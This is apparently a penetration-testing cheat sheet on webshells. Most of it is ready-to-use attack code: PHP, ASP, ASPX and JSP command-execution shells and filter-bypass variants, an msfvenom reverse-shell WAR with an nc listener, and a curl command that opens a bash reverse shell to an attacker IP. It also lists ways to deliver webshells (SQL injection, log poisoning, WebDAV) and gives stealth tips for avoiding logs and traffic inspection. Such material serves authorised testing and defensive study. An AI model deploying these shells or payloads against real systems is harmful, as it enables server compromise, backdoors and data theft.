A webshell is the fastest path from “I can upload a file” to “I have code execution.” You drop a script in the web root, hit it via browser or curl, and run commands through URL parameters. Webshells are noisy and leave artifacts — use them as a stepping stone to a proper reverse shell, then delete them.
PHP Webshells
One-Liner
<?php system($_GET['c']); ?>Trigger with:
http://target/uploads/shell.php?c=id
Variations (bypass different filters)
<?php echo shell_exec($_GET['c']); ?>
<?php passthru($_REQUEST['c']); ?>
<?php echo `${_GET[c]}`; ?>
<?=`$_GET[0]`?> /* ultra-short, requires short_open_tag */
<?php eval($_POST['c']); ?> /* POST-only — stealthier in logs */Exec-Function-Blocked Bypasses
<?php include($_GET['f']); ?> /* LFI-to-RCE via log poisoning */
<?php echo file_get_contents($_GET['f']); ?>
<?php preg_replace('/.*/e', $_GET['c'], ''); ?> /* PHP < 7, deprecated */Full Interactive PHP Shell
Use p0wny-shell or b374k when you want a UI. Upload the single file, browse to it, type commands in the fake prompt.
PHP File Upload Snippet
<?php
if($_FILES){
move_uploaded_file($_FILES['f']['tmp_name'], basename($_FILES['f']['name']));
echo "uploaded: ".$_FILES['f']['name'];
}
?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="f"><input type="submit">
</form>ASP / ASPX Webshells
Minimal ASPX
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e){
string cmd = Request["c"];
if(cmd != null){
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
}
</script>Trigger:
http://target/shell.aspx?c=whoami
Classic ASP
<%
Dim oScript, oCmd, oOut
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oCmd = oScript.Exec("cmd /c " & Request.QueryString("c"))
Response.Write("<pre>" & oCmd.StdOut.ReadAll() & "</pre>")
%>Antak (Nishang)
Interactive ASPX shell with a terminal-style UI. Change the default username/password at the top of the file before uploading.
https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx
Upload to a writable directory served by IIS → browse → log in → type.
JSP Webshells
Minimal JSP
<%@ page import="java.util.*,java.io.*"%>
<%
String c = request.getParameter("c");
if(c != null){
Process p = Runtime.getRuntime().exec(c);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;
out.println("<pre>");
while((l = r.readLine()) != null){ out.println(l); }
out.println("</pre>");
}
%>JSP as WAR (Tomcat Manager)
Upload the WAR via /manager/html and browse to /shell/:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.warCatch:
nc -lvnp 4444Then upload shell.war through Tomcat Manager → click the deployed context → shell arrives.
Known Webshell Libraries
| Shell | Language | Notes |
|---|---|---|
| p0wny-shell | PHP | Single-file, clean UI, no deps |
| b374k | PHP | Feature-rich, password-protected, obfuscated |
| WSO | PHP | Classic, includes SQL browser and file manager |
| China Chopper | ASPX / PHP / JSP | Tiny loader (~4KB), paired with GUI client |
| AntSword | Multi | Modern replacement for China Chopper — full-featured client |
| Behinder | Multi | Encrypted traffic, hard for DPI to catch |
| Antak | ASPX | Nishang’s interactive shell |
| JSP File Browser | JSP | File manager + exec for Java apps |
Delivering a Webshell
| Vector | Technique |
|---|---|
| File upload vuln | Drop .php/.aspx/.jsp through the form; see File Upload module |
| SQLi | INTO OUTFILE '/var/www/html/s.php' on MySQL |
| LFI + log poisoning | Inject PHP into User-Agent, include /var/log/apache2/access.log |
| RCE eval | curl target/rce?c=echo%20<?php...?>%20>%20/var/www/html/s.php |
| Tomcat manager creds | WAR deploy |
| WebDAV PUT | curl -T shell.aspx http://target/shell.aspx |
Operating Through a Webshell
# issue commands via curl
curl -s "http://target/shell.php?c=id"
curl -s "http://target/shell.php?c=$(python3 -c 'from urllib.parse import quote;print(quote("bash -c \"bash -i >&/dev/tcp/10.10.14.5/4444 0>&1\""))')"
# POST-based (stealthier — not in access.log query string)
curl -s -X POST --data "c=whoami" http://target/shell.phpUpgrade immediately
Webshells are stateless, laggy, and logged. First thing you do after confirming code execution: fire a reverse shell and move your work there.
Clean up
At the end of the engagement, delete every webshell you dropped. They’re RCE-as-a-service for the next attacker.
